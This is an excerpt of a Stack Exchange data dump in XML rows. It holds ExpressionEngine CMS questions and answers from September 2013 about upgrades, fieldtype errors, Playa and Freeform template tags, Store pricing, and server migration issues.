  <row Id="13495" PostTypeId="2" ParentId="13494" CreationDate="2013-09-05T01:47:32.670" Score="6" Body="&lt;p&gt;Remove &lt;code&gt;safecracker_file&lt;/code&gt; from your &lt;code&gt;third_party&lt;/code&gt; directory. It has been deprecated (now rolled into the standard File fieldtype).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-05T01:47:32.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13496" PostTypeId="1" AcceptedAnswerId="13497" CreationDate="2013-09-05T03:42:56.577" Score="0" ViewCount="350" Body="&lt;p&gt;I followed the documentation to upgrade &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/update.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; from 2.5.5 to 2.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, doing the steps, I saw nothing that would help me update the database. No wizard, no tutorial or documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the proper way to update the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: Here is the &lt;a href=&quot;https://i.stack.imgur.com/lpb1l.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;image&lt;/a&gt;  after upgrading &lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-09-05T04:30:02.513" LastActivityDate="2013-09-05T04:30:02.513" Title="Upgrading from 2.5.5 to 2.7 - Database" Tags="|ee2-upgrades|v2.5.5|2.7.0|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13497" PostTypeId="2" ParentId="13496" CreationDate="2013-09-05T04:07:56.643" Score="2" Body="&lt;p&gt;Step 5: Run the Update Wizard. That will update the database.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-09-05T04:07:56.643" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13498" PostTypeId="2" ParentId="13477" CreationDate="2013-09-05T05:56:43.183" Score="12" Body="&lt;p&gt;In EE 2.7, each class extending &lt;code&gt;EE_Fieldtype&lt;/code&gt; is required to implement a display_field() function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So either you implement that function with no actual implementation if you just want the error to go away&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display_field($data)&#xA;{&#xA; // NOTE: Placeholder&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or wait for the fieldtype developers to implement the function so as to be compatible to the new EE version.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-09-05T05:56:43.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13499" PostTypeId="2" ParentId="13477" CreationDate="2013-09-05T06:33:01.793" Score="12" Body="&lt;p&gt;Grab the latest &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot;&gt;P&amp;amp;T Field Pack&lt;/a&gt;. They fixed it recently.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-09-05T06:33:01.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13500" PostTypeId="1" AcceptedAnswerId="13619" CreationDate="2013-09-05T07:27:27.323" Score="1" ViewCount="218" Body="&lt;p&gt;I have upgraded from 2.5.5 to 2.7. There is a problem that I don’t seem to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried picking any fieldtype for any field, before upgrading, normally JS would show more options at the bottom. This has been the standard behavior ever since I have used EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, nothing shows. I looked at my firebug console and I saw this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TypeError: d.ee_focus is not a function&#xA;...ocus(b.find(&quot;ul&amp;gt;li&amp;gt;a&quot;).eq(0)))},onEscape:function(a){a=c(a.target).parent();EE.n...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I looked at what file caused this and it was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;admin.php?S=d3d3f2b7c7030e79c48804e28d9b425b&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=combo_load&amp;amp;ui=core,widget,mouse,position,sortable,dialog&amp;amp;plugin=ee_interact.event,ee_notice,ee_txtarea,tablesorter,ee_toggle_all,ee_navigation&amp;amp;file=json2,underscore,cp/global_start&amp;amp;v=1355999354 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I disabled Javascript and sure enough, it showed additional options, although in a very messy way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you solve this Javascript problem?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-09-06T01:43:19.853" LastActivityDate="2013-09-10T01:50:09.167" Title="Channel Field Additional Options not Showing in 2.7" Tags="|fields|2.7.0|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13502" PostTypeId="1" CreationDate="2013-09-05T07:54:07.007" Score="1" ViewCount="163" Body="&lt;p&gt;Is there a way to get the User-Notifications that normaly get sent via E-Mail (new Comment, new Entries etc.) somehow ON PAGE beside via eMail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Goal is to provide the member with notifications similiar to the notifications on Facebook oder Google+ etc. where you get all the notifications on page instead only per E-Mail.&#xA;The larger scope would be to use this in a «Notification-Center/-Flyout», with the Web-Push-Notifications API and other APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone already developed such a System or how could it be possible? I am quite sure I am not the only one with this goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;To prevent missunderstanding: I need a solution to get the notifications out of the email-only-format to the frontend.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditDate="2013-09-05T09:20:51.633" LastActivityDate="2013-09-09T16:25:30.413" Title="Notifications on Page beside E-Mail-Notifications" Tags="|notification|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13503" PostTypeId="2" ParentId="13502" CreationDate="2013-09-05T09:11:18.137" Score="2" Body="&lt;p&gt;You can achieve it with the &lt;a href=&quot;http://pusher.com/&quot; rel=&quot;nofollow&quot;&gt;Pusher API&lt;/a&gt;. For any event, store within the database and publish it. If that notification has been read update the status for the same. I think, you can get more detail by seeing the Pusher API doc. I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-05T09:11:18.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13504" PostTypeId="1" CreationDate="2013-09-05T14:00:56.307" Score="1" ViewCount="220" Body="&lt;p&gt;The class 'store_product_price' is updated by Javascript so that when a customer selects an option with a price variant, the price on display updates to reflect the new price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all works brilliantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However. We've added a system where by all the colour options for a product are shown as images on the product page. When clicking on one of these images we have got jQuery updating the select box of colour options (as populated by Expresso:Store) to reflect the right colour. However, the price doesn't update. I've tried fiddling with the $('select').change() methods, but I can't get it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The jQuery we use to update the select the right option in the select box is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$('.options select option').removeAttr('selected').filter('option[data-val=&quot;'+$(this).attr('data-title')+'&quot;]').attr('selected','selected');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can use code to trigger a recalculation of the price please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="785" LastEditorUserId="785" LastEditDate="2013-10-07T10:39:52.240" LastActivityDate="2013-10-07T16:22:25.807" Title="Expresso Store: Manually trigger 'store_product_price' recalculation" Tags="|expresso-store|jquery|tags|product|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13505" PostTypeId="2" ParentId="13482" CreationDate="2013-09-05T14:35:21.137" Score="1" Body="&lt;p&gt;I have not seen an add-on that will do this, since the URLs would be different anyway.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-09-05T14:35:21.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13506" PostTypeId="2" ParentId="13493" CreationDate="2013-09-05T14:43:50.720" Score="1" Body="&lt;p&gt;Since content in EE can be displayed anywhere you want, using any URL (template group/template), this is very difficult to do in an automated way. Only Pages module or &lt;a href=&quot;http://buildwithstructure.com&quot; rel=&quot;nofollow&quot;&gt;Structure module&lt;/a&gt; entries can be predictably linked to in this manner - and if you use a fieldtype like &lt;a href=&quot;http://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow&quot;&gt;Wygwam&lt;/a&gt; you can do this via its Link pop-up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But perhaps you want to look at &lt;a href=&quot;http://gotolow.com/addons/low-link&quot; rel=&quot;nofollow&quot;&gt;Low Link&lt;/a&gt;? This works well if you want to link the exact titles of entries, and they all are in the same channel.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-05T14:43:50.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13507" PostTypeId="1" CreationDate="2013-09-05T14:44:01.703" Score="1" ViewCount="97" Body="&lt;p&gt;I'm pretty sure I'm missing something obvious here. But for some reason, when I try and create a new subfolder, I get the following: &quot;Invalid Assets source path&quot;. I checked and the parent folder has CHMOD of 777. I'm running Assets 2.0.4 and EE 2.6.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="2005" LastEditorUserId="69" LastEditDate="2013-09-05T16:12:51.820" LastActivityDate="2013-10-06T10:51:44.393" Title="P&amp;T Assets Error Creating Subfolders : Invalid Assets Source Path" Tags="|assets|pixelandtonic|path|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13508" PostTypeId="1" AcceptedAnswerId="13554" CreationDate="2013-09-05T15:00:04.723" Score="0" ViewCount="75" Body="&lt;p&gt;I am working on a volunteer signup form where some of the fields have a limited number of slots available (for example Monday setup needs 15 people). I am good with the form in general but I need a way to determine how many slots are already filled so that the slot doesn't get overbooked. In the past I was able to do this using Freeform 3, but when the changed the structure in 4.x that option vanished. As such I bring my case to the community for guidance on the best way to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-09-06T20:31:23.670" Title="How do I set dynamic values based on previous entries?" Tags="|matrix|dynamic|low-replace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13509" PostTypeId="1" AcceptedAnswerId="13520" CreationDate="2013-09-05T15:06:01.033" Score="2" ViewCount="773" Body="&lt;p&gt;I am currently trying to loop through channel &quot;promos&quot;, where each entry has a Playa field designating which entries that particular promo should display on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;promos&quot; orderby=&quot;promos_order&quot;}&#xA;    {exp:playa:children field=&quot;promos_show_on_page&quot; child_id=&quot;{current_entry_id}&quot; var_prefix=&quot;playa&quot;}&#xA;        &amp;lt;a href='{promos_link}'&amp;gt;&amp;lt;img src=&quot;{promos_image}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;    {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My issue is that I don't know how to pass in the &lt;code&gt;current_entry_id&lt;/code&gt; to the &lt;code&gt;child_id&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with or without any particular plugins or extensions, or am I going about this in the completely wrong way?&lt;/p&gt;&#xA;" OwnerUserId="2002" LastActivityDate="2013-09-05T17:35:05.823" Title="How to retrieve/pass current entry id within another channel entries tag pair?" Tags="|playa|entryid|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13510" PostTypeId="2" ParentId="13509" CreationDate="2013-09-05T15:14:45.370" Score="0" Body="&lt;p&gt;It doesn't seem to me like you would need the child_id param if you're looking for the playa loop to display the children of each entry in your promos entries loop of the &quot;promos&quot; channel.  It would do that automatically, with each loop being within each returned entry of the entries loop.  Without that parameter, the children loop would assume the parent to be the current entry.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-09-05T15:14:45.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13511" PostTypeId="2" ParentId="13508" CreationDate="2013-09-05T15:29:14.147" Score="1" Body="&lt;p&gt;Couldn't you use &lt;a href=&quot;http://www.solspace.com/docs/freeform/form_info/&quot; rel=&quot;nofollow&quot;&gt;freeform's form info tag pair&lt;/a&gt; to perform a conditional check?  You could use that tag pair to lookup how many entries already exist in your collection, and then everything flows from there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form_info form_name=&quot;your_form_name&quot;}&#xA;    {if freeform:total_results &amp;lt; &quot;15&quot;}&#xA;       Thank you but this session is full&#xA;    {if:else}&#xA;        Insert your registration form here.&#xA;    {/if}&#xA;{/exp:freeform:form_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could use a math plugin to do a little number manipulation too, if you needed to indicate in the page how many spots were left.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-09-05T15:29:14.147" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13512" PostTypeId="2" ParentId="13509" CreationDate="2013-09-05T16:15:57.877" Score="0" Body="&lt;p&gt;I may be missing something here, but you should just be able to use the {entry_id} tag as mentioned in the playa docs &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/children.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;entry_id&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parent entry’s ID(s). If your tag is within an {exp:channel:entries} tag pair, this will default to the current entry’s ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you would have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;promos&quot; orderby=&quot;promos_order&quot;}&#xA;    {exp:playa:children field=&quot;promos_show_on_page&quot; child_id=&quot;{entry_id}&quot; var_prefix=&quot;playa&quot;}&#xA;        &amp;lt;a href='{promos_link}'&amp;gt;&amp;lt;img src=&quot;{promos_image}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;    {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;UPDATE&lt;/em&gt;&lt;/strong&gt;&#xA;Using the example I described below, you would use embed variables. Once you pass the variable and value to the embed template, you can use it instead like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;promos&quot; orderby=&quot;promos_order&quot;}&#xA;    {exp:playa:children field=&quot;promos_show_on_page&quot; child_id=&quot;{embed:main_entry_id}&quot; var_prefix=&quot;playa&quot;}&#xA;        &amp;lt;a href='{promos_link}'&amp;gt;&amp;lt;img src=&quot;{promos_image}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;    {/exp:playa:children}&#xA;{/exp:channel:entries}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-09-05T17:35:05.823" LastActivityDate="2013-09-05T17:35:05.823" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13513" PostTypeId="2" ParentId="13493" CreationDate="2013-09-05T16:26:34.480" Score="0" Body="&lt;p&gt;I don't know about text fields, dynamically anyway. You could add a playa field for the entries and then toss that variable in a predict text block inside the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it something you want to be on the fly and have free changing text/copy or is it standard? I think that would determine if it was feasible to use playa or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's text that needs to be free flowing, then maybe using &lt;a href=&quot;http://devot-ee.com/add-ons/allow-ee-code&quot; rel=&quot;nofollow&quot;&gt;Allow EE Code&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per the description:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Allows ExpressionEngine code to be used in entries and then parsed in the template. Currently, you cannot put EE tags into an entry/post and have them rendered in the template. Instead, the code itself will just display, unprocessed. This plugin makes it so any EE tags in an entry will actually be parsed and have results outputted.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would allow you to use the natural EE linking to entries.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-09-05T16:26:34.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13515" PostTypeId="2" ParentId="13493" CreationDate="2013-09-05T16:34:33.950" Score="0" Body="&lt;p&gt;I have an idea that might work - using either &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;native relationships&lt;/a&gt; or &lt;a href=&quot;http://docs.pixelandtonic.com/playa/index.html&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt;, along with &lt;a href=&quot;http://gotolow.com/addons/low-replace/docs&quot; rel=&quot;nofollow&quot;&gt;Low Replace&lt;/a&gt;.  No idea if the parse order will allow you to do this (you may need to use stash to cheat parse order to make the mechanics of this idea actually work). It's an untested idea - so here goes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Establish a &quot;related movies&quot; relationship field.  Your entry would then be related to the movies mentioned in the article body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) in the body of the text, be sure to use the title of the move as it appears in your movies channel - basically what we're looking to do is a bit of find and replace magic next, but it would need to match for the find and replace to be successful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) use low replace tag to search the body for the exact title and replace it with the linked title, following your URL pattern.  The challenge is that you have to set the low replace parameters of &quot;find&quot; and &quot;replace&quot; dynamically based on the relationship field.  This is the main point of concern - and stash may be the way to get the parse order to work in your favor.  I don't know if you can get the parse order to flow properly natively, since you would need the relationship field to parse, then the body, then the low replace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, that's the framework that I believe COULD work.  A bit complicated though, and I'm sure from a performance perspective, it's far from ideal.  But in terms of being able to automatically seek out the titles and link to entries, it may be a way to make it work.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-09-05T16:34:33.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13516" PostTypeId="2" ParentId="13470" CreationDate="2013-09-05T16:39:17.310" Score="1" Body="&lt;p&gt;I know this seems completely elementary, but I have dealt with a lot of EE1 sites that give fits and find that sometimes, it's as simple as adding quote around the value you are comparing in your logic. So something like this might work in your case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{description_{user_language}}&quot; != &quot;&quot;}&#xA;    {description_{user_language}}&#xA;{if:else}&#xA;    {description_en}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-09-05T16:39:17.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13517" PostTypeId="1" CreationDate="2013-09-05T16:45:48.143" Score="2" ViewCount="89" Body="&lt;p&gt;I have a page where the pagination works fine until you get to the page that would use &quot;P100&quot; at the end. At that point, it redirects back to the first pagination page. Have any of you had this issue before? Any ideas on how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2013-10-10T01:55:37.040" Title="Pagination redirects to first page at P100" Tags="|templates|pagination|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13518" PostTypeId="2" ParentId="9375" CreationDate="2013-09-05T16:52:26.050" Score="1" Body="&lt;p&gt;Have you tried using Stash for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe something like this would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {matrix_tag_pair}&#xA;        {exp:stash:set name=&quot;whatever_matrix_fields&quot;}{matrix_field}{/exp:stash:set}&#xA;        {playa}&#xA;            {exp:stash:get name=&quot;whatever_matrix_fields&quot;}&#xA;        {/playa}&#xA;    {/matrix_tag_pair}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-09-05T16:52:26.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13519" PostTypeId="1" CreationDate="2013-09-05T16:53:03.567" Score="1" ViewCount="46" Body="&lt;p&gt;Not sure where to look to make changes to the layout(css) of the email notification submission portion. I have been searching for the View or the module that modifies this. Has anyone made changes to this?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d5Mxj.png&quot; alt=&quot;Email Submission&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1940" LastActivityDate="2013-10-05T20:58:15.010" Title="Changing email submission notification" Tags="|ee2|email|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13520" PostTypeId="2" ParentId="13509" CreationDate="2013-09-05T17:02:05.837" Score="2" Body="&lt;p&gt;You want to use &lt;code&gt;playa:parents&lt;/code&gt;, not &lt;code&gt;channel:entries&lt;/code&gt;. Playa will infer the &lt;code&gt;entry_id&lt;/code&gt; so long as you place this tag loop within the &lt;code&gt;channel:entries&lt;/code&gt; tag of the entry you're viewing. (You can pass it via the &lt;code&gt;entry_id&lt;/code&gt; parameter if you like.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;promos&quot; field=&quot;promos_show_on_page&quot; orderby=&quot;promos_order&quot;}&#xA;    &amp;lt;a href='{promos_link}'&amp;gt;&amp;lt;img src=&quot;{promos_image}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-05T17:02:05.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13521" PostTypeId="1" CreationDate="2013-09-05T17:11:06.107" Score="0" ViewCount="178" Body="&lt;p&gt;I have a form that contains an array field, e.g. &lt;code&gt;name=&quot;product_list[]&quot;&lt;/code&gt;. Is there anyway to access specific values within this array in the notification template? All I'm currently doing is adding &lt;code&gt;{product_list}&lt;/code&gt; which barfs them all out in a line. Is there a way to print only value 1, only value 2, etc?&lt;/p&gt;&#xA;" OwnerUserId="901" LastActivityDate="2013-10-06T06:51:44.400" Title="Can I display select array data in a Freeform notification template?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13522" PostTypeId="2" ParentId="13519" CreationDate="2013-09-05T17:49:05.337" Score="1" Body="&lt;p&gt;The only method I see that works is to go to Design, User Messages, and edit everything from there.&lt;/p&gt;&#xA;" OwnerUserId="1940" LastActivityDate="2013-09-05T17:49:05.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13523" PostTypeId="1" AcceptedAnswerId="13729" CreationDate="2013-09-05T18:04:40.097" Score="0" ViewCount="284" Body="&lt;p&gt;I've seen a few posts here around this issue but none are leading me to a solution. I'm using Assets with an S3 bucket and have moved EE to a new server. The front-end of the site loads right up just fine, but all thumbs in the CMS are missing. I've tried using &quot;Update Indexes&quot; and it seems to complete fine but when going back to the &quot;Assets / File Manager&quot; screen the thumbnails are still missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We intentionally didn't move the cache folder over to the new server because we're trying to keep images out our Git repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions on how I might fix this?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-09-12T16:42:55.367" Title="Assets thumbs missing when moving EE to a new server" Tags="|assets|pixelandtonic|server-migration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13524" PostTypeId="1" AcceptedAnswerId="13532" CreationDate="2013-09-05T18:05:41.367" Score="1" ViewCount="54" Body="&lt;p&gt;I'm having an issue with Store when adding a modifier to any item. I've used Store successfully until now but since adding new channels to the site there's a glitch that I just can't get around. When I add a new product modifier and enter a name, the 'stock' area below shows a loading bar but doesn't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to click on submit but the product details aren't saved. This is now the same across the whole site and I have no idea why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried with a blank .htaccess file and using store version 1.6.4. It works fine on a different host but the client is with 1&amp;amp;1 and it just doesn't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After looking at the firebug console when this issue arises I see &quot;Post my/url/path?ACT=26 200 OK&quot; When I look at this post, I can see the 'response header' says &quot;no-cache, must revalidate&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still really stuck on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right, I think I just solved the problem. It turns out it was some kind of problem with the way 1&amp;amp;1 handled requests without the 'www' portion of a url. I added the following lines to my .htaccess file and all now seems to be working&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank god.&lt;/p&gt;&#xA;" OwnerUserId="2007" LastEditorUserId="2007" LastEditDate="2013-09-05T22:40:00.197" LastActivityDate="2013-09-06T08:17:29.183" Title="Perpetual loading bar in modifier options on CP" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13525" PostTypeId="1" AcceptedAnswerId="13550" CreationDate="2013-09-05T18:56:34.893" Score="1" ViewCount="102" Body="&lt;p&gt;Working on my first EE site (but have worked with several other CMSs) and I'm having issues with the database connection. I've pulled down files from a live site to set up a development version following the steps on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/operations/moving.html&quot; rel=&quot;nofollow&quot;&gt;Moving ExpressionEngine to Another Server page&lt;/a&gt;. I've tried using the dbtest.php and can connect to the local database with no issues but when I use the same settings in the database.php file, I get a connection error. Did a little digging and the settings seem to be cached. If I do a var_dump on $this in the DB_driver.php file under if ( ! $this-&gt;conn_id) the live settings are appearing in a ar_cache_set array. I did clear the caches before downloading the live database. With a die(mysql_error()) right below that line it gives me a &quot;not allowed to connect to this MySQL server&quot; error. Any ideas on how to clear this? I'm not really sure where it's coming from. cache_on is set to FALSE in the database settings. &lt;/p&gt;&#xA;" OwnerUserId="2009" LastActivityDate="2013-09-06T16:30:08.310" Title="Database settings cached?" Tags="|database|cache|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13526" PostTypeId="2" ParentId="13525" CreationDate="2013-09-05T20:00:29.327" Score="1" Body="&lt;p&gt;Sorry to hear you are having an issue. I cant think of an answer other than step 7 verify permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, once you solve it,  Id  recommend using &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;master config&lt;/a&gt; to set up your environments. It does makes things much easier!&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-09-05T20:07:07.697" LastActivityDate="2013-09-05T20:07:07.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13528" PostTypeId="1" CreationDate="2013-09-05T23:23:46.857" Score="1" ViewCount="99" Body="&lt;p&gt;I've got a simple Geofinder form that's working great but we now want to have the results only show specific entries. The entries we want showing are just the ones that have data in a Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible or is there some sort of workaround? I'm stumped on this one. :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I should note that it's possible to use a conditional within the Geofinder results tag (&lt;code&gt;{exp:geofinder:location_results}&lt;/code&gt;) to simply not display the entries with an empty Matrix field. Like so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:geofinder:location_results}&#xA;  {if my_field}&#xA;    {my_field}{data}{/my_field}&#xA;  {/if}&#xA;{/exp:geofinder:location_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I've found is that this breaks pagination altogether because the count gets all screwed up. We need pagination to work here.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2013-10-06T01:51:44.383" Title="Filter Geofinder results if a Matrix field has data" Tags="|matrix|geofinder|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
